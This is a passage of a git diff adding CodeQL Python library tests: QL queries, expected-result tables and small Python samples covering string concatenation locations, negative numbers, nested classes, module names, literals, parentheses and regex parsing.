| 1 | 6 | +| 35 | '0' | 12 | 14 | +| 35 | '\\n\\n\\n\\n' | 1 | 10 | diff --git a/python/ql/test/library-tests/locations/implicit_concatenation/part_locations.ql b/python/ql/test/library-tests/locations/implicit_concatenation/part_locations.ql new file mode 100644 index 00000000000..2687a785f1b --- /dev/null +++ b/python/ql/test/library-tests/locations/implicit_concatenation/part_locations.ql @@ -0,0 +1,12 @@ +import python + +class ImplicitConcat extends StrConst { + ImplicitConcat() { + exists(this.getAnImplicitlyConcatenatedPart()) + } +} + +from StringPart s + + +select s.getLocation().getStartLine(), s.getText(), s.getLocation().getStartColumn(), s.getLocation().getEndColumn() \ No newline at end of file diff --git a/python/ql/test/library-tests/locations/implicit_concatenation/parts.expected b/python/ql/test/library-tests/locations/implicit_concatenation/parts.expected new file mode 100644 index 00000000000..e1d59b7a32d --- /dev/null +++ b/python/ql/test/library-tests/locations/implicit_concatenation/parts.expected @@ -0,0 +1,14 @@ +| 2 | Hello World | 0 | "Hello " | +| 2 | Hello World | 1 | "World" | +| 5 | Goodbye World | 0 | "Goodbye " | +| 5 | Goodbye World | 1 | "World" | +| 9 | ab | 0 | "a" | +| 9 | ab | 1 | "b" | +| 12 | cd | 0 | "c" | +| 12 | cd | 1 | "d" | +| 16 | ef | 0 | 'e' | +| 16 | ef | 1 | 'f' | +| 32 | word | 0 | 'word' | +| 32 | word | 1 | '' | +| 35 | \n\n\n\n0 | 0 | '\\n\\n\\n\\n' | +| 35 | \n\n\n\n0 | 1 | '0' | diff --git a/python/ql/test/library-tests/locations/implicit_concatenation/parts.ql b/python/ql/test/library-tests/locations/implicit_concatenation/parts.ql new file mode 100644 index 00000000000..1b1a0d492b3 --- /dev/null +++ b/python/ql/test/library-tests/locations/implicit_concatenation/parts.ql @@ -0,0 +1,14 @@ +import python + +class ImplicitConcat extends StrConst { + ImplicitConcat() { + exists(this.getAnImplicitlyConcatenatedPart()) + } +} + +from StrConst s, StringPart part, int n +where + part = s.getImplicitlyConcatenatedPart(n) + + +select s.getLocation().getStartLine(), s.getText(), n, part.getText() \ No newline at end of file diff --git a/python/ql/test/library-tests/locations/implicit_concatenation/test.expected b/python/ql/test/library-tests/locations/implicit_concatenation/test.expected new file mode 100644 index 00000000000..ae3794a9278 --- /dev/null +++ b/python/ql/test/library-tests/locations/implicit_concatenation/test.expected @@ -0,0 +1,10 @@ +| 2 | Hello World | true | 11 | 1 | 20 | +| 5 | Goodbye World | true | 13 | 1 | 7 | +| 9 | ab | true | 2 | 3 | 9 | +| 12 | cd | true | 2 | 2 | 8 | +| 16 | ef | true | 2 | 5 | 7 | +| 21 | string | false | 6 | 1 | 8 | +| 24 | \n\n\n\n | false | 4 | 1 | 10 | +| 27 | \u0123\u1234 | false | 2 | 1 | 15 | +| 32 | word | true | 4 | 1 | 9 | +| 35 | \n\n\n\n0 | true | 5 | 1 | 14 | diff --git a/python/ql/test/library-tests/locations/implicit_concatenation/test.py b/python/ql/test/library-tests/locations/implicit_concatenation/test.py new file mode 100644 index 00000000000..76dd43add80 --- /dev/null +++ b/python/ql/test/library-tests/locations/implicit_concatenation/test.py @@ -0,0 +1,36 @@ +#Single line concat +"Hello " "World" + +#Multi line concat with line continuation +"Goodbye " \ +"World" + +#Single line concat in list +[ "a" "b" ] + +#Single line, looks like tuple, but is just parenthesized +("c" "d" ) + +#Multi line in list +[ + 'e' + 'f' +] + +#Simple String +"string" + +#String with escapes +"\n\n\n\n" + +#String with unicode escapes +u'\u0123\u1234' + +#These implicit concatenations can only be found with extractor support. + +#Concat with empty String +'word' '' + +#String with escapes and concatenation : +'\n\n\n\n' '0' + diff --git a/python/ql/test/library-tests/locations/implicit_concatenation/test.ql b/python/ql/test/library-tests/locations/implicit_concatenation/test.ql new file mode 100644 index 00000000000..5b2f6ae0a55 --- /dev/null +++ b/python/ql/test/library-tests/locations/implicit_concatenation/test.ql @@ -0,0 +1,16 @@ +import python + +class ImplicitConcat extends StrConst { + ImplicitConcat() { + exists(this.getAnImplicitlyConcatenatedPart()) + } +} + +from StrConst s, boolean isConcat +where + s instanceof ImplicitConcat and isConcat = true + or + not s instanceof ImplicitConcat and isConcat = false + + +select s.getLocation().getStartLine(), s.getText(), isConcat, s.getText().length(), s.getLocation().getStartColumn(), s.getLocation().getEndColumn() \ No newline at end of file diff --git a/python/ql/test/library-tests/locations/negative_numbers/negative.expected b/python/ql/test/library-tests/locations/negative_numbers/negative.expected new file mode 100644 index 00000000000..77c824ac91f --- /dev/null +++ b/python/ql/test/library-tests/locations/negative_numbers/negative.expected @@ -0,0 +1,26 @@ +| FloatLiteral | 6 | 2 | 6 | 4 | | +| FloatLiteral | 7 | 2 | 7 | 7 | | +| FloatLiteral | 11 | 3 | 11 | 5 | () | +| FloatLiteral | 12 | 3 | 12 | 8 | () | +| FloatLiteral | 16 | 3 | 16 | 5 | | +| FloatLiteral | 17 | 3 | 17 | 8 | | +| ImaginaryLiteral | 19 | 2 | 19 | 3 | | +| IntegerLiteral | 4 | 2 | 4 | 2 | | +| IntegerLiteral | 5 | 2 | 5 | 18 | | +| IntegerLiteral | 9 | 3 | 9 | 3 | () | +| IntegerLiteral | 10 | 3 | 10 | 19 | () | +| IntegerLiteral | 14 | 3 | 14 | 3 | | +| IntegerLiteral | 15 | 3 | 15 | 19 | | +| UnaryExpr | 4 | 1 | 4 | 2 | | +| UnaryExpr | 5 | 1 | 5 | 18 | | +| UnaryExpr | 6 | 1 | 6 | 4 | | +| UnaryExpr | 7 | 1 | 7 | 7 | | +| UnaryExpr | 9 | 1 | 9 | 4 | | +| UnaryExpr | 10 | 1 | 10 | 20 | | +| UnaryExpr | 11 | 1 | 11 | 6 | | +| UnaryExpr | 12 | 1 | 12 | 9 | | +| UnaryExpr | 14 | 2 | 14 | 3 | () | +| UnaryExpr | 15 | 2 | 15 | 19 | () | +| UnaryExpr | 16 | 2 | 16 | 5 | () | +| UnaryExpr | 17 | 2 | 17 | 8 | () | +| UnaryExpr | 19 | 1 | 19 | 3 | | \ No newline at end of file diff --git a/python/ql/test/library-tests/locations/negative_numbers/negative.py b/python/ql/test/library-tests/locations/negative_numbers/negative.py new file mode 100644 index 00000000000..92d46f37b64 --- /dev/null +++ b/python/ql/test/library-tests/locations/negative_numbers/negative.py @@ -0,0 +1,19 @@ + +#Some negative numbers + +-1 +-10000000000000000 +-1.0 +-3.0e17 + +-(1) +-(10000000000000000) +-(1.0) +-(3.0e17) + +(-1) +(-10000000000000000) +(-1.0) +(-3.0e17) + +-1j \ No newline at end of file diff --git a/python/ql/test/library-tests/locations/negative_numbers/negative.ql b/python/ql/test/library-tests/locations/negative_numbers/negative.ql new file mode 100644 index 00000000000..c423cb0532c --- /dev/null +++ b/python/ql/test/library-tests/locations/negative_numbers/negative.ql @@ -0,0 +1,13 @@ +import python + +from Expr e, int bl, int bc, int el,int ec, string p + +where + e.getLocation().hasLocationInfo(_, bl, bc, el, ec) + and + if e.isParenthesized() then + p = "()" + else + p = "" + +select e.toString(), bl, bc, el, ec, p \ No newline at end of file diff --git a/python/ql/test/library-tests/locations/nested_classes/Test.expected b/python/ql/test/library-tests/locations/nested_classes/Test.expected new file mode 100644 index 00000000000..1469ceebc74 --- /dev/null +++ b/python/ql/test/library-tests/locations/nested_classes/Test.expected @@ -0,0 +1,6 @@ +| A_Simple | 2 | 1 | 2 | 23 | +| B1_Outer | 6 | 1 | 6 | 23 | +| B2_Inner | 8 | 5 | 8 | 27 | +| C1_Outer | 12 | 1 | 12 | 15 | +| C2_Mid__ | 14 | 5 | 14 | 19 | +| C3_Inner | 16 | 9 | 16 | 23 | diff --git a/python/ql/test/library-tests/locations/nested_classes/Test.ql b/python/ql/test/library-tests/locations/nested_classes/Test.ql new file mode 100644 index 00000000000..693d6f7116f --- /dev/null +++ b/python/ql/test/library-tests/locations/nested_classes/Test.ql @@ -0,0 +1,7 @@ + +import python + +from Class cls, Location l +where l = cls.getLocation() + +select cls.getName(), l.getStartLine(), l.getStartColumn(), l.getEndLine(), l.getEndColumn() diff --git a/python/ql/test/library-tests/locations/nested_classes/test.py b/python/ql/test/library-tests/locations/nested_classes/test.py new file mode 100644 index 00000000000..af99d3a7500 --- /dev/null +++ b/python/ql/test/library-tests/locations/nested_classes/test.py @@ -0,0 +1,18 @@ + +class A_Simple(object): + + pass + +class B1_Outer(object): + + class B2_Inner(object): + + pass + +class C1_Outer: + + class C2_Mid__: + + class C3_Inner: + + pass diff --git a/python/ql/test/library-tests/modules/overlapping-paths/ModuleNames.expected b/python/ql/test/library-tests/modules/overlapping-paths/ModuleNames.expected new file mode 100644 index 00000000000..e7b43879904 --- /dev/null +++ b/python/ql/test/library-tests/modules/overlapping-paths/ModuleNames.expected @@ -0,0 +1,7 @@ +| outer/inner/imported | imported | +| outer/inner/imported/__init__.py | imported.__init__ | +| outer/inner/imported/x.py | imported.x | +| outer/inner/y.py | y | +| src/package | package | +| src/package/__init__.py | package.__init__ | +| src/package/test.py | package.test | diff --git a/python/ql/test/library-tests/modules/overlapping-paths/ModuleNames.ql b/python/ql/test/library-tests/modules/overlapping-paths/ModuleNames.ql new file mode 100644 index 00000000000..a3a54953513 --- /dev/null +++ b/python/ql/test/library-tests/modules/overlapping-paths/ModuleNames.ql @@ -0,0 +1,5 @@ + +import python + +from Module m +select m.getPath().toString(), m.getName() diff --git a/python/ql/test/library-tests/modules/overlapping-paths/options b/python/ql/test/library-tests/modules/overlapping-paths/options new file mode 100644 index 00000000000..120c64adc17 --- /dev/null +++ b/python/ql/test/library-tests/modules/overlapping-paths/options @@ -0,0 +1 @@ +semmle-extractor-options: -R src --path outer/inner --path outer diff --git a/python/ql/test/library-tests/modules/overlapping-paths/outer/inner/imported/__init__.py b/python/ql/test/library-tests/modules/overlapping-paths/outer/inner/imported/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/modules/overlapping-paths/outer/inner/imported/x.py b/python/ql/test/library-tests/modules/overlapping-paths/outer/inner/imported/x.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/modules/overlapping-paths/outer/inner/y.py b/python/ql/test/library-tests/modules/overlapping-paths/outer/inner/y.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/modules/overlapping-paths/src/package/__init__.py b/python/ql/test/library-tests/modules/overlapping-paths/src/package/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/modules/overlapping-paths/src/package/test.py b/python/ql/test/library-tests/modules/overlapping-paths/src/package/test.py new file mode 100644 index 00000000000..c085d2a5975 --- /dev/null +++ b/python/ql/test/library-tests/modules/overlapping-paths/src/package/test.py @@ -0,0 +1,2 @@ +import imported.x +import y diff --git a/python/ql/test/library-tests/modules/overlapping-paths/src/script.py b/python/ql/test/library-tests/modules/overlapping-paths/src/script.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/modules/spurious_init/ModuleNames.expected b/python/ql/test/library-tests/modules/spurious_init/ModuleNames.expected new file mode 100644 index 00000000000..4aca8d12f07 --- /dev/null +++ b/python/ql/test/library-tests/modules/spurious_init/ModuleNames.expected @@ -0,0 +1,5 @@ +| root | root | +| root/__init__.py | root.__init__ | +| root/src-folder/package | package | +| root/src-folder/package/__init__.py | package.__init__ | +| root/src-folder/package/module.py | package.module | diff --git a/python/ql/test/library-tests/modules/spurious_init/ModuleNames.ql b/python/ql/test/library-tests/modules/spurious_init/ModuleNames.ql new file mode 100644 index 00000000000..a3a54953513 --- /dev/null +++ b/python/ql/test/library-tests/modules/spurious_init/ModuleNames.ql @@ -0,0 +1,5 @@ + +import python + +from Module m +select m.getPath().toString(), m.getName() diff --git a/python/ql/test/library-tests/modules/spurious_init/options b/python/ql/test/library-tests/modules/spurious_init/options new file mode 100644 index 00000000000..dfcf3662523 --- /dev/null +++ b/python/ql/test/library-tests/modules/spurious_init/options @@ -0,0 +1 @@ +semmle-extractor-options: -R . --filter exclude:**/src_archive/** diff --git a/python/ql/test/library-tests/modules/spurious_init/root/__init__.py b/python/ql/test/library-tests/modules/spurious_init/root/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/modules/spurious_init/root/src-folder/package/__init__.py b/python/ql/test/library-tests/modules/spurious_init/root/src-folder/package/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/modules/spurious_init/root/src-folder/package/module.py b/python/ql/test/library-tests/modules/spurious_init/root/src-folder/package/module.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/objects/Literals.expected b/python/ql/test/library-tests/objects/Literals.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/objects/Literals.ql b/python/ql/test/library-tests/objects/Literals.ql new file mode 100644 index 00000000000..f83f4e722da --- /dev/null +++ b/python/ql/test/library-tests/objects/Literals.ql @@ -0,0 +1,16 @@ + +/* Test that there are no literals that do not have a corresponding object. */ +import python + + +string repr(Expr e) { + result = e.(Num).getN() or + result = e.(Bytes).getS() or + result = e.(Unicode).getS() +} + +from ImmutableLiteral l +where +not exists(l.getLiteralObject()) + +select l.getLocation().getStartLine(), repr(l) \ No newline at end of file diff --git a/python/ql/test/library-tests/objects/Name.expected b/python/ql/test/library-tests/objects/Name.expected new file mode 100644 index 00000000000..7333ee611e8 --- /dev/null +++ b/python/ql/test/library-tests/objects/Name.expected @@ -0,0 +1,9 @@ +| sys.modules | dict object | +| test.C.cmeth | Function cmeth | +| test.C.cmeth | classmethod() | +| test.C.meth | Function meth | +| test.C.smeth | Function smeth | +| test.C.smeth | staticmethod() | +| test.d | Dict | +| test.l | List | +| test.n | NoneType None | diff --git a/python/ql/test/library-tests/objects/Name.ql b/python/ql/test/library-tests/objects/Name.ql new file mode 100644 index 00000000000..674890c01ba --- /dev/null +++ b/python/ql/test/library-tests/objects/Name.ql @@ -0,0 +1,21 @@ + +import python + +from Object o, string name +where o.hasLongName(name) +and ( + name = "sys.modules" + or + name = "test.n" + or + name = "test.l" + or + name = "test.d" + or + name = "test.C.meth" + or + name = "test.C.cmeth" + or + name = "test.C.smeth" +) +select name, o.toString() diff --git a/python/ql/test/library-tests/objects/Strings.expected b/python/ql/test/library-tests/objects/Strings.expected new file mode 100644 index 00000000000..b9d7c336d6b --- /dev/null +++ b/python/ql/test/library-tests/objects/Strings.expected @@ -0,0 +1,7 @@ +| test.py:14 | d | +| test.py:15 | | +| test.py:16 | | +| test.py:17 | ' | +| test.py:18 | efwb\nonv\n8979\n | +| test.py:22 | 0 | +| test.py:23 | None | diff --git a/python/ql/test/library-tests/objects/Strings.ql b/python/ql/test/library-tests/objects/Strings.ql new file mode 100644 index 00000000000..9fcceb58fe4 --- /dev/null +++ b/python/ql/test/library-tests/objects/Strings.ql @@ -0,0 +1,8 @@ + +import python + + +from StringObject s, ControlFlowNode f +where f.refersTo(s) +select f.getLocation().toString(), s.getText() + diff --git a/python/ql/test/library-tests/objects/test.py b/python/ql/test/library-tests/objects/test.py new file mode 100644 index 00000000000..d9bc798100a --- /dev/null +++ b/python/ql/test/library-tests/objects/test.py @@ -0,0 +1,40 @@ +0.058823529630899429 + + +1e-06 +.9999999 +0xffffff +1e10 +0o777 +1. +2.79252680 +0x0001000 +4987312561856745907287624786230562734672583763984576267 + +'''d''' +'' +"" +"'" +"""efwb +onv +8979 +""" +'0' +'None' + +n = None +l = [] +d = {} + +class C(object): + + def meth(self): + pass + + @classmethod + def cmeth(cls): + pass + + @staticmethod + def smeth(): + pass \ No newline at end of file diff --git a/python/ql/test/library-tests/options b/python/ql/test/library-tests/options new file mode 100644 index 00000000000..72e0053821f --- /dev/null +++ b/python/ql/test/library-tests/options @@ -0,0 +1,2 @@ +semmle-extractor-options: --max-import-depth=1 +automatic_locations: true diff --git a/python/ql/test/library-tests/parentheses/Parens.expected b/python/ql/test/library-tests/parentheses/Parens.expected new file mode 100644 index 00000000000..c19d295830d --- /dev/null +++ b/python/ql/test/library-tests/parentheses/Parens.expected @@ -0,0 +1,30 @@ +| 26 | a | +| 27 | Attribute | +| 28 | BinaryExpr | +| 29 | Str | +| 30 | Str | +| 31 | List | +| 32 | Dict | +| 33 | Tuple | +| 34 | Subscript | +| 35 | f() | +| 36 | f() | +| 37 | Attribute() | +| 38 | Attribute() | +| 39 | Subscript | +| 40 | Subscript | +| 41 | Yield | +| 42 | ListComp | +| 43 | SetComp | +| 44 | DictComp | +| 45 | Str | +| 46 | BinaryExpr | +| 47 | BinaryExpr | +| 48 | BinaryExpr | +| 49 | BinaryExpr | +| 50 | BinaryExpr | +| 51 | BinaryExpr | +| 52 | BinaryExpr | +| 55 | BinaryExpr | +| 56 | BinaryExpr | +| 61 | Tuple | \ No newline at end of file diff --git a/python/ql/test/library-tests/parentheses/Parens.ql b/python/ql/test/library-tests/parentheses/Parens.ql new file mode 100644 index 00000000000..9006bb9ff52 --- /dev/null +++ b/python/ql/test/library-tests/parentheses/Parens.ql @@ -0,0 +1,5 @@ +import python + +from Expr e +where e.isParenthesized() +select e.getLocation().getStartLine(), e.toString() diff --git a/python/ql/test/library-tests/parentheses/test.py b/python/ql/test/library-tests/parentheses/test.py new file mode 100644 index 00000000000..74fb2824a1e --- /dev/null +++ b/python/ql/test/library-tests/parentheses/test.py @@ -0,0 +1,64 @@ +# No +import mod +def no(): + a + a.b + 1+p + b"Hi" + u"Hi" + [x] + {} + x,y + s[9] + f() + f(a,b) + o.m() + o.m(a, b) + o.m[0] + x()[0] + yield v + [1 for a in b] + {x for x in z} + {x:y for x,y in z} + +#Yes +def yes(): + (a) + (a.b) + (1+p) + (b"Hi") + (u"Hi") + ([x]) + ({}) + (x,y) + (s[9]) + (f()) + (f(a,b)) + (o.m()) + (o.m(a, b)) + (o.m[0]) + (x()[0]) + (yield 1) + ([1 for a in b]) + ({x for x in z}) + ({x:y for x,y in z}) + (b"x") + ("x"+1) + (1+f()) + (1+2+f()) + ("Failed to parse template " + name + ": " + repr(ex)) + (1+2+3+4) + (1+2+3+4+5) + (1+2+3+4+5+6) + +def multiline(): + ( 1 + + ( 2 * 3 + * 4 ) + ) + + ( + x, + 1, + "a" + ) diff --git a/python/ql/test/library-tests/regex/Alternation.expected b/python/ql/test/library-tests/regex/Alternation.expected new file mode 100644 index 00000000000..2fe6572074e --- /dev/null +++ b/python/ql/test/library-tests/regex/Alternation.expected @@ -0,0 +1,22 @@ +| (?:(?:\n\r?)\|^)( *)\\S | 3 | 12 | (?:\n\r?)\|^ | 3 | 10 | (?:\n\r?) | +| (?:(?:\n\r?)\|^)( *)\\S | 3 | 12 | (?:\n\r?)\|^ | 11 | 12 | ^ | +| (?:(?P^(?:\|x))) | 14 | 16 | \|x | 14 | 14 | | +| (?:(?P^(?:\|x))) | 14 | 16 | \|x | 15 | 16 | x | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 3 | 9 | [^%]\|^ | 3 | 7 | [^%] | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 3 | 9 | [^%]\|^ | 8 | 9 | ^ | +| (?P[\\w]+)\| | 0 | 16 | (?P[\\w]+)\| | 0 | 15 | (?P[\\w]+) | +| (?P[\\w]+)\| | 0 | 16 | (?P[\\w]+)\| | 16 | 16 | | +| (\\033\|~{) | 1 | 8 | \\033\|~{ | 1 | 5 | \\033 | +| (\\033\|~{) | 1 | 8 | \\033\|~{ | 6 | 8 | ~{ | +| \\\|\\[\\][123]\|\\{\\} | 0 | 16 | \\\|\\[\\][123]\|\\{\\} | 0 | 11 | \\\|\\[\\][123] | +| \\\|\\[\\][123]\|\\{\\} | 0 | 16 | \\\|\\[\\][123]\|\\{\\} | 12 | 16 | \\{\\} | +| \|x | 0 | 2 | \|x | 0 | 0 | | +| \|x | 0 | 2 | \|x | 1 | 2 | x | +| ^(^y\|^z)(u$\|v$)$ | 2 | 7 | ^y\|^z | 2 | 4 | ^y | +| ^(^y\|^z)(u$\|v$)$ | 2 | 7 | ^y\|^z | 5 | 7 | ^z | +| ^(^y\|^z)(u$\|v$)$ | 9 | 14 | u$\|v$ | 9 | 11 | u$ | +| ^(^y\|^z)(u$\|v$)$ | 9 | 14 | u$\|v$ | 12 | 14 | v$ | +| x\| | 0 | 2 | x\| | 0 | 1 | x | +| x\| | 0 | 2 | x\| | 2 | 2 | | +| x\|(?^(?:\|x))) | 10 | 11 | +| (?:(?P^(?:\|x))) | 15 | 16 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 5 | 6 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 8 | 9 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 11 | 12 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 12 | 14 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 15 | 17 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 19 | 21 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 22 | 23 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 24 | 25 | +| (?P[\\w]+)\| | 10 | 12 | +| (?m)^(?!$) | 4 | 5 | +| (?m)^(?!$) | 8 | 9 | +| (\\033\|~{) | 1 | 5 | +| (\\033\|~{) | 6 | 7 | +| (\\033\|~{) | 7 | 8 | +| [\ufffd-\ufffd] | 1 | 2 | +| [\ufffd-\ufffd] | 3 | 4 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | 1 | 2 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | 3 | 4 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | 6 | 7 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | 8 | 9 | +| []] | 1 | 2 | +| [^-] | 2 | 3 | +| [^A-Z] | 2 | 3 | +| [^A-Z] | 4 | 5 | +| [^]] | 2 | 3 | +| \\A[+-]?\\d+ | 0 | 2 | +| \\A[+-]?\\d+ | 3 | 4 | +| \\A[+-]?\\d+ | 4 | 5 | +| \\A[+-]?\\d+ | 7 | 9 | +| \\\|\\[\\][123]\|\\{\\} | 0 | 2 | +| \\\|\\[\\][123]\|\\{\\} | 2 | 4 | +| \\\|\\[\\][123]\|\\{\\} | 4 | 6 | +| \\\|\\[\\][123]\|\\{\\} | 7 | 8 | +| \\\|\\[\\][123]\|\\{\\} | 8 | 9 | +| \\\|\\[\\][123]\|\\{\\} | 9 | 10 | +| \\\|\\[\\][123]\|\\{\\} | 12 | 14 | +| \\\|\\[\\][123]\|\\{\\} | 14 | 16 | +| \|x | 1 | 2 | +| ^(^y\|^z)(u$\|v$)$ | 0 | 1 | +| ^(^y\|^z)(u$\|v$)$ | 2 | 3 | +| ^(^y\|^z)(u$\|v$)$ | 3 | 4 | +| ^(^y\|^z)(u$\|v$)$ | 5 | 6 | +| ^(^y\|^z)(u$\|v$)$ | 6 | 7 | +| ^(^y\|^z)(u$\|v$)$ | 9 | 10 | +| ^(^y\|^z)(u$\|v$)$ | 10 | 11 | +| ^(^y\|^z)(u$\|v$)$ | 12 | 13 | +| ^(^y\|^z)(u$\|v$)$ | 13 | 14 | +| ^(^y\|^z)(u$\|v$)$ | 15 | 16 | +| ^.$ | 0 | 1 | +| ^.$ | 1 | 2 | +| ^.$ | 2 | 3 | +| ^[A-Z_]+$(?^(?:\|x))) | first | 10 | 11 | +| (?:(?P^(?:\|x))) | first | 15 | 16 | +| (?:(?P^(?:\|x))) | last | 15 | 16 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 0 | 11 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 3 | 7 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 8 | 9 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | first | 11 | 12 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | last | 21 | 26 | +| (?P[\\w]+)\| | first | 9 | 13 | +| (?P[\\w]+)\| | first | 9 | 14 | +| (?P[\\w]+)\| | last | 9 | 13 | +| (?P[\\w]+)\| | last | 9 | 14 | +| (?m)^(?!$) | first | 4 | 5 | +| (?m)^(?!$) | first | 8 | 9 | +| (?m)^(?!$) | last | 4 | 5 | +| (?m)^(?!$) | last | 8 | 9 | +| (\\033\|~{) | first | 1 | 5 | +| (\\033\|~{) | first | 6 | 7 | +| (\\033\|~{) | last | 1 | 5 | +| (\\033\|~{) | last | 7 | 8 | +| [\ufffd-\ufffd] | first | 0 | 5 | +| [\ufffd-\ufffd] | last | 0 | 5 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | first | 0 | 5 | +| [\ufffd-\ufffd][\ufffd-\ufffd] | last | 5 | 10 | +| []] | first | 0 | 3 | +| []] | last | 0 | 3 | +| [^-] | first | 0 | 4 | +| [^-] | last | 0 | 4 | +| [^A-Z] | first | 0 | 6 | +| [^A-Z] | last | 0 | 6 | +| [^]] | first | 0 | 4 | +| [^]] | last | 0 | 4 | +| \\A[+-]?\\d+ | first | 0 | 2 | +| \\A[+-]?\\d+ | last | 7 | 9 | +| \\A[+-]?\\d+ | last | 7 | 10 | +| \\\|\\[\\][123]\|\\{\\} | first | 0 | 2 | +| \\\|\\[\\][123]\|\\{\\} | first | 12 | 14 | +| \\\|\\[\\][123]\|\\{\\} | last | 6 | 11 | +| \\\|\\[\\][123]\|\\{\\} | last | 14 | 16 | +| \|x | first | 1 | 2 | +| \|x | last | 1 | 2 | +| ^(^y\|^z)(u$\|v$)$ | first | 0 | 1 | +| ^(^y\|^z)(u$\|v$)$ | first | 2 | 3 | +| ^(^y\|^z)(u$\|v$)$ | first | 3 | 4 | +| ^(^y\|^z)(u$\|v$)$ | first | 5 | 6 | +| ^(^y\|^z)(u$\|v$)$ | first | 6 | 7 | +| ^(^y\|^z)(u$\|v$)$ | last | 9 | 10 | +| ^(^y\|^z)(u$\|v$)$ | last | 10 | 11 | +| ^(^y\|^z)(u$\|v$)$ | last | 12 | 13 | +| ^(^y\|^z)(u$\|v$)$ | last | 13 | 14 | +| ^(^y\|^z)(u$\|v$)$ | last | 15 | 16 | +| ^.$ | first | 0 | 1 | +| ^.$ | first | 1 | 2 | +| ^.$ | last | 1 | 2 | +| ^.$ | last | 2 | 3 | +| ^[A-Z_]+$(?^(?:\|x))) | 0 | 19 | (?:(?P^(?:\|x))) | 3 | 18 | (?P^(?:\|x)) | +| (?:(?P^(?:\|x))) | 3 | 18 | (?P^(?:\|x)) | 10 | 17 | ^(?:\|x) | +| (?:(?P^(?:\|x))) | 11 | 17 | (?:\|x) | 14 | 16 | \|x | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 0 | 10 | (?:[^%]\|^) | 3 | 9 | [^%]\|^ | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | 14 | 19 | (\\w*) | 15 | 18 | \\w* | +| (?P[\\w]+)\| | 0 | 15 | (?P[\\w]+) | 9 | 14 | [\\w]+ | +| (?m)^(?!$) | 5 | 10 | (?!$) | 8 | 9 | $ | +| (\\033\|~{) | 0 | 9 | (\\033\|~{) | 1 | 8 | \\033\|~{ | +| ^(^y\|^z)(u$\|v$)$ | 1 | 8 | (^y\|^z) | 2 | 7 | ^y\|^z | +| ^(^y\|^z)(u$\|v$)$ | 8 | 15 | (u$\|v$) | 9 | 14 | u$\|v$ | +| ^[A-Z_]+$(?[\\w]+)\| | 9 | 14 | false | +| \\A[+-]?\\d+ | 2 | 7 | true | +| \\A[+-]?\\d+ | 7 | 10 | false | +| ^[A-Z_]+$(?^(?:\|x))) | ^ | 10 | 11 | +| (?:(?P^(?:\|x))) | char | 15 | 16 | +| (?:(?P^(?:\|x))) | choice | 14 | 16 | +| (?:(?P^(?:\|x))) | non-empty group | 0 | 19 | +| (?:(?P^(?:\|x))) | non-empty group | 3 | 18 | +| (?:(?P^(?:\|x))) | non-empty group | 11 | 17 | +| (?:(?P^(?:\|x))) | sequence | 0 | 19 | +| (?:(?P^(?:\|x))) | sequence | 3 | 18 | +| (?:(?P^(?:\|x))) | sequence | 10 | 17 | +| (?:(?P^(?:\|x))) | sequence | 15 | 16 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | ^ | 8 | 9 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 5 | 6 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 11 | 12 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 12 | 14 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 15 | 17 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 19 | 21 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 22 | 23 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char | 24 | 25 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char-set | 3 | 7 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | char-set | 21 | 26 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | choice | 3 | 9 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | non-empty group | 0 | 10 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | non-empty group | 14 | 19 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | qualified | 0 | 11 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | qualified | 15 | 18 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | sequence | 0 | 26 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | sequence | 3 | 7 | +| (?:[^%]\|^)?%\\((\\w*)\\)[a-z] | sequence | 8 | 9 | +| (?P[\\w]+)\| | char | 